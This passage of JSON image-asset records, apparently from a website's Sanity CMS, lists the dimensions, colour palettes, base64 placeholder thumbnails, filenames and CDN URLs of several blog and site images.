baby","assetId":"cf3804e56ec0a235fb8e7bcdac1bbcef21838170","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M97eD4?bIARQoe?w%MM{RjbGIUV?ogogof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACo0lEQVQokW2T2VMTWRSHG9LZqUjChCAwahLSW7rDOowKopYL6wxKtk7SSzoMXQ5apb6MMgI1VgFGh1n+42+KBn2ah6/O0/3uOef+rpCSTLK6Rc6wyOodRg2bXMXhu4rDiOEyUnEZm+sxsfAL2RmPIc0lpHgI6t7/8/28x8LaW1aev2dp+13A8rMDlncOWa4dc3fniJXmH9xvnWBs/s7I4itE3UfQfAbUXQblLiHJ/YZQuOMHsnXrI+vOCevuGWvOKZten23/nI3eF556X3jsnbPYPEPeOOLGo/ekb79BLO8xKLmIJQux1CE81Ua4eecFS88OAtnF4bXeOU/cPqtuny3/bzb8f3jo/smPzTPmaieB9Lb5ifyTAyKVFwhKj5DcDaSBcOLuKxafH/PU7fPI/cyK1Wel84l7rVMe2J9Z3fuXh92/UDePyC295frSaybvvSGzsI+o9hiQu1ddXnWYXdxHW33HwvYhsz99YHrrAzM/H6JvHaJuHTNfP2Wudsr4g98I63uEJIeIZBOVLWJyh7jUJlEyiRcbRIsNhLjikCq7pHUnIFPxGJ7eZWjaJzHzK6n5l2R+2Cc16xMre0RVh6Rmk9E75AyTXLnOqLrDcGmHeKGOECmaRPN1YreqRG9VieQbiAWTcLFFTGqRUkxGyw3GK3WuGw2yusmI0SE3YzE+22asYpLRTBJym7BkIQwXq+SUJqPlNtdkk3ihRixfI1GokS5VyalVJvQak5U6Y0aTtNZiSLNJ6i5JvUu83CWsegwqPQaUHkK2VOOG0WZyziOt28SmmkQKl/tITDVISiZxxSKqdQlrPUTFQ5QcRMm+istXbEKSjRCXOgypNknNJapchvPi1ULyZb0IbnBz8BN8BpRdQiWbb6vKX04UK9SJFJv8BxgGdj7tXx6YAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#293257","foreground":"#fff","population":0.73,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":25.79,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":25.79,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a6bcae","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#97a8e5","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a46484","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e15f1b","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Using_PostgreSQL®_FuzzyStrMatch_blog.png","path":"images/sczeoy4w/production/cf3804e56ec0a235fb8e7bcdac1bbcef21838170-1567x844.png","sha1hash":"cf3804e56ec0a235fb8e7bcdac1bbcef21838170","size":74280,"title":null,"uploadId":"XcoY1ytsNwr1UYzzu1cmIhnrspCRtdfX","url":"https://cdn.sanity.io/images/sczeoy4w/production/cf3804e56ec0a235fb8e7bcdac1bbcef21838170-1567x844.png"} {"_createdAt":"2024-02-15T15:31:01Z","_id":"image-cf3970b88babc839b00dad1e3268ba5e8e782088-3200x870-png","_rev":"UjGmMOs0V2SxB808hz0pzS","_type":"sanity.imageAsset","_updatedAt":"2024-02-15T15:31:01Z","assetId":"cf3970b88babc839b00dad1e3268ba5e8e782088","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DFEe}}y13cBZj41BbJ#*WCkE","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.67816091954023,"height":870,"width":3200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAABoElEQVQYlQGVAWr+ABE9WBIPLB0PHFgPBzjQLgNUtAABiVtDA1xckAxCZKYYOWitGTxnrxIwab4WLWnEHjZlwxZVVsEIsSqYAnxCUgJcUUsDYVJFA0dgdwQobq8JABI4OicRLRw7Fz8fOCJoMiBBkUgPnGdEDcJERxW7QlAbskNWGK9BaRGPSKUSgUy9GYpIvhqWRbwTjEmmDWRYeQ9TXGUTUllgFU1caxI6Z48SACldTCQvRSlILD4hXylCJVI2UjEwf2Q+H7FkQya4YEIpxVI9G889VBKrV3wZm2aBJZhngSqXaIEljWd+HXlsaB5qbV0fWF9dFktbbBI/Z4wUAEeGbh1jdEI1UVYtTjU/JVwuOydNYFU2Mph0RDKadkYxnWtLHaZQaRSXZ2wikHZeMZB5WDWQeF0wiHBoKH9zXCl4eFUiWmxpEDphig04apcUADGHjh1NjW4kUIVfKDJfSTQlRj0+S05KMYhhWyiOY14miVtqH4JUgxx5XZMheWWNJnpniSh4ZY4mamSRI1ppfSNPbHghPGiMGjNnlxkwap8bwq2AuIjSqK4AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#325861","foreground":"#fff","population":0.19,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c347c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#325861","foreground":"#fff","population":0.19,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#95afb6","foreground":"#000","population":0.18,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4bc98","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a99464","foreground":"#fff","population":0.18,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e3a121","foreground":"#000","population":0.16,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"sql-optimization-partitions.png","path":"images/sczeoy4w/production/cf3970b88babc839b00dad1e3268ba5e8e782088-3200x870.png","sha1hash":"cf3970b88babc839b00dad1e3268ba5e8e782088","size":117591,"uploadId":"UyLzCv8nJ8rzK9JSopadIWicHy6XpAwR","url":"https://cdn.sanity.io/images/sczeoy4w/production/cf3970b88babc839b00dad1e3268ba5e8e782088-3200x870.png"} {"_createdAt":"2023-06-20T08:19:26Z","_id":"image-cf42456a998b3003859e724ee166dc968d52fc4a-1440x367-svg","_rev":"iFqNzOUeP20hjvWPyts21e","_type":"sanity.imageAsset","_updatedAt":"2023-06-20T08:19:42Z","altText":null,"assetId":"cf42456a998b3003859e724ee166dc968d52fc4a","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.923705722070845,"height":367,"width":1440},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAFABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAAMH/8QAGxAAAwEAAwEAAAAAAAAAAAAAAAECAwQREzH/xAAXAQADAQAAAAAAAAAAAAAAAAAAAQUG/8QAGBEBAQEBAQAAAAAAAAAAAAAAAQARAiH/2gAMAwEAAhEDEQA/AMZ1ynRdUTni5TSaXwA3byPqU7anmgAPCL//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#0e218a","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1c74","foreground":"#fff","population":0.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#242c94","foreground":"#fff","population":46.9,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1d247b","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#949ae5","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#1d247b","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#242c94","foreground":"#fff","population":46.9,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":null}},"originalFilename":"bg-pattern-dark-blue.svg","path":"images/sczeoy4w/production/cf42456a998b3003859e724ee166dc968d52fc4a-1440x367.svg","sha1hash":"cf42456a998b3003859e724ee166dc968d52fc4a","size":6675,"title":null,"uploadId":"l1b4OipnUItQslxn3yOr7NV2OlPRMCax","url":"https://cdn.sanity.io/images/sczeoy4w/production/cf42456a998b3003859e724ee166dc968d52fc4a-1440x367.svg"} {"_createdAt":"2022-09-07T20:43:23Z","_id":"image-cfbc4e132e9ca8fed6d58ed15c7d5448c7eb8562-1200x630-jpg","_rev":"cEPH2uRN58AU2lp9QNf7CD","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T07:42:18Z","altText":"Open Source preview","assetId":"cfbc4e132e9ca8fed6d58ed15c7d5448c7eb8562","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAUCBAj/xAAfEAACAgICAwEAAAAAAAAAAAABAgMEAAURIRITYZH/xAAVAQEBAAAAAAAAAAAAAAAAAAADAf/EAB4RAAICAgIDAAAAAAAAAAAAAAECAAMREgRhITFB/9oADAMBAAIRAxEAPwDQklGRpHYXJ1DHkKD0MS7jbNqGaH3SyOF8+xyT8x9EALLnv9yluqdewytNErN0OTg8x7UqLU4279RuMtZtAtyR1IaPZ2dhr1sSQFCxI4+YY0rRJDAiRKFQDoDDFqWzQbnz9ksdC5KLgT//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#784054","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#813d03","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f97708","foreground":"#fff","population":2.41,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4a1a4","foreground":"#000","population":0.85,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbd053","foreground":"#000","population":0.1,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c849c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f97708","foreground":"#fff","population":2.41,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":[{"_ref":"CK1sLU2mnwa3vmbYWCajQI","_type":"reference","_weak":true}]}},"originalFilename":"Open_Source_meta_preview.jpe.jpg","path":"images/sczeoy4w/production/cfbc4e132e9ca8fed6d58ed15c7d5448c7eb8562-1200x630.jpg","sha1hash":"cfbc4e132e9ca8fed6d58ed15c7d5448c7eb8562","size":134794,"title":null,"uploadId":"H8S84D4e7DhT4nGQlTsiYUfrDJ2NxtcL","url":"https://cdn.sanity.io/images/sczeoy4w/production/cfbc4e132e9ca8fed6d58ed15c7d5448c7eb8562-1200x630.jpg"} {"_createdAt":"2024-01-24T01:31:50Z","_id":"image-d005f06f7da0bd26b98b6c70cb31f6fda8f66416-3024x4035-jpg","_rev":"ZLvKaZvfbZlWBlGcp7L4YG","_type":"sanity.imageAsset","_updatedAt":"2024-01-24T01:31:50Z","assetId":"d005f06f7da0bd26b98b6c70cb31f6fda8f66416","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"dhOWQuR%?^%M_Mo3ogofSifkI9Rj%gozade:xuayRkWB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.7494423791821562,"height":4035,"width":3024},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAbABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAYEBQcI/8QAJxAAAQMEAQMDBQAAAAAAAAAAAQACAwQFBhESBzFBEyFxFCIjUWH/xAAWAQEBAQAAAAAAAAAAAAAAAAADBAH/xAAeEQACAwABBQAAAAAAAAAAAAABAgADERIEEyExQf/aAAwDAQACEQMRAD8A6JyG9UdgtM1xuLyyniGzobJ/gCpcKzq05cZGW8TxTMHIxzs4uI/YUDrPQzVuD1Jg3ygcJTrvoJD6JxOrcgbWse78cJDmu9vYoXsKuFz3KqunV6Ws3yJu6EITSWZTnmS1d1ttdb7YWRxSNLPU8uCWsDgqMchL4nj6gtAcR2+FDsj3Pp3ciT8q7pe4b42UnBd3JTWSFIH2O9Hl87oB61O1z/JB1tCT4ZH8T93YoSdsTOCz/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#725c47","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#822416","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c46651","foreground":"#fff","population":2.33,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acacd4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e8a59f","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8c7494","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c46651","foreground":"#fff","population":2.33,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"matt_profile 2.JPG","path":"images/sczeoy4w/production/d005f06f7da0bd26b98b6c70cb31f6fda8f66416-3024x4035.jpg","sha1hash":"d005f06f7da0bd26b98b6c70cb31f6fda8f66416","size":923161,"uploadId":"cqIRRwUDZbPeuehjMLxfmfEGTvZy46vB","url":"https://cdn.sanity.io/images/sczeoy4w/production/d005f06f7da0bd26b98b6c70cb31f6fda8f66416-3024x4035.jpg"} {"_createdAt":"2022-11-08T13:25:41Z","_id":"image-d011bf36d25bab375f042ea5eff99e6f24c0e9ec-1667x1667-png","_rev":"tCTpYSXtZaN94JPfl6lHWB","_type":"sanity.imageAsset","_updatedAt":"2022-11-08T13:46:38Z","altText":"Crab holding a bus stop sign","assetId":"d011bf36d25bab375f042ea5eff99e6f24c0e9ec","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1667,"width":1667},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#364a51","foreground":"#fff","population":0.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#571409","foreground":"#fff","population":0.15,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f97f0b","foreground":"#000","population":4.95,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bfa9a0","foreground":"#000","population":0.12,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fce49c","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#60708f","foreground":"#fff","population":0.23,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f97f0b","foreground":"#000","population":4.95,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Catch_the_bus_challenge_inline.png","path":"images/sczeoy4w/production/d011bf36d25bab375f042ea5eff99e6f24c0e9ec-1667x1667.png","sha1hash":"d011bf36d25bab375f042ea5eff99e6f24c0e9ec","size":976872,"title":"Catch the bus challenge","uploadId":"wlVH2Fv3zuWsFJURWRf1AXvSF8ty6mEQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/d011bf36d25bab375f042ea5eff99e6f24c0e9ec-1667x1667.png"} {"_createdAt":"2022-08-25T13:29:14Z","_id":"image-d0a79bc5fed3162bbefc7216f3e6c4084573ee9a-562x205-png","_rev":"ctsDnhiXC4vQz03H4tKrdo","_type":"sanity.imageAsset","_updatedAt":"2022-08-25T13:29:14Z","assetId":"d0a79bc5fed3162bbefc7216f3e6c4084573ee9a","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.7414634146341466,"height":205,"width":562},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAAAsUlEQVQokYWRuQ7CQBBDEw4BBYFAOm4QtH4lQnwL//8ZyDAJ0SoRhTVj786x3gzIJGWONcxTrUuvuVp6Kg6BKTABBkAuKXdM0dYVzRzbG4yAI3AHrkApaQmsgQpYBarQysBC0rir4Qx4Ai/gAWyBHXACLpI87BDc+V7SHthIcu33ycmGZ0ludovJc8dAAZgbhSTzzx1Jrv1t2DLaHnqafbQ/6XmTh+fNnWbDvl/r0/7lb1pOUxClDMfNAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343434","foreground":"#fff","population":0.89,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#343434","foreground":"#fff","population":0.89,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-karapace.png","path":"images/sczeoy4w/production/d0a79bc5fed3162bbefc7216f3e6c4084573ee9a-562x205.png","sha1hash":"d0a79bc5fed3162bbefc7216f3e6c4084573ee9a","size":4473,"uploadId":"8ww2JkXFlv73pMMHcOii4cZWiIsyYZWb","url":"https://cdn.sanity.io/images/sczeoy4w/production/d0a79bc5fed3162bbefc7216f3e6c4084573ee9a-562x205.png"} {"_createdAt":"2022-06-30T19:55:43Z","_id":"image-d0c0190941f57ed98c946bd44cd7321ed3f36629-400x256-png","_rev":"cEPH2uRN58AU2lp9QO7V1d","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:13:50Z","assetId":"d0c0190941f57ed98c946bd44cd7321ed3f36629","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VPLETnE200kC4.~qs:M{a|IUM_ofj]WBofMwaybJayt7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5625,"height":256,"width":400},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAAsTAAALEwEAmpwYAAACxElEQVQokVWPW0hTcRzH91xBJNhDhUjSDcSXesvIu6U7U0STqDCwK4lvltOzLdMTRAx0Dn3xpQsSxtncXNu/zd3O2Wwlc2dnZ+LiuJvbzs5uutQ51CDmltSHz8v/4cPv++dU8G5dbu280f1UJJlA1cBoNuNmDMdwHMNwDMPMZsxsxnHcguNWq1U/Pz81NQXD8PO+Pn5/P6cC6qiA2rlPet/Pqmh/gGGYaDQaY9lEPJ5MFEgmE8lk7uXz+RQKxfDw8ACfL4BhzqWmtgs3W5se98rnjevp9HYms53J7GSzu7t7+/u/D93LuZ9MpQAACIIMDg6KhELOucbWsgZe48Oez0C/Fk2F2PQamw7HfjGJbXZ9J5rKMn+Np7PRWAIAkLs8MCAUCjllDS2l9bz6Bz3TKp2bZuzukM0Z+OEKEZ4Y5dug/Jsu/5bLv0X6NunQ5lqYBQCMjIwU4tL6lpI6Xm13z7RKu0IHHeTP73a3nVhxewKrwVggshFk0kEmHYhsMMw6E2a+AvAaQWAYFolEnJK6ljO1vKv3Ho1/nLE7XYTTaV9aoihq1esNh8NsLBZPJOLxeJxlY5EI7fHI5XIEQQQCQe7y6RroVA10ntt554XoHTprwnCL1bK4uOhedtM07fP7/H5/wOsN0DRFOFRzc1KpdGhoSHgA52Q1VFzNLa7mXrnd/VIyqVRrtFqtXm9YWFhwEARFUW6KWnaRywSBGfSTExOHZS4uqoKKqqATVdzy9i6+eFymnPuiVms0wGg0frPZHA6HkyBIJ0E6lgw6nWRsDD6gMPv4dehAbnnHfb5YKlOqNBqNTqezWHLjCYIgSdJFkiTpNOj1Eonkv/jYNW7ei21dfW8lqEKpVqsBACaTyWaz2f9Bq9WOjo7my0J8tLL5aGXzkcrms7y7z169+fBpBpXJUBRVKBT5CYegKCoWi/NZ/s9/AIR7/uU78hupAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d4a51","foreground":"#fff","population":1.82,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#163f4b","foreground":"#fff","population":15.83,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":17.19,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b3c7d2","foreground":"#000","population":0.98,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#729aed","foreground":"#000","population":1.57,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":17.19,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc4260","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"d0c0190941f57ed98c946bd44cd7321ed3f36629-400x256.png","path":"images/sczeoy4w/production/d0c0190941f57ed98c946bd44cd7321ed3f36629-400x256.png","sha1hash":"d0c0190941f57ed98c946bd44cd7321ed3f36629","size":21163,"uploadId":"sH2xzlXTkXGHn5QXC7aDdATihch1o0oZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/d0c0190941f57ed98c946bd44cd7321ed3f36629-400x256.png"} {"_createdAt":"2022-12-09T16:04:35Z","_id":"image-d0c880ed71498b1c52aa270f6f9bfe63d97820b9-690x413-jpg","_rev":"cwf6PSmkIH3MXtFHz0YrlP","_type":"sanity.imageAsset","_updatedAt":"2022-12-09T16:04:35Z","assetId":"d0c880ed71498b1c52aa270f6f9bfe63d97820b9","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6707021791767553,"height":413,"width":690},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAMABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAQFCP/EACAQAAICAgICAwAAAAAAAAAAAAECAAMEERITITFCUXH/xAAVAQEBAAAAAAAAAAAAAAAAAAAAAf/EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhEDEQA/ANRZvPp1W4Qk+SfqJYoIuU02OF3phZ8vyUMipLqirjYieHjJ28mZ3K+uR3qEUIQhCv/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4a5c53","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1a6a32","foreground":"#fff","population":0,"title":"#fff"},"dominant"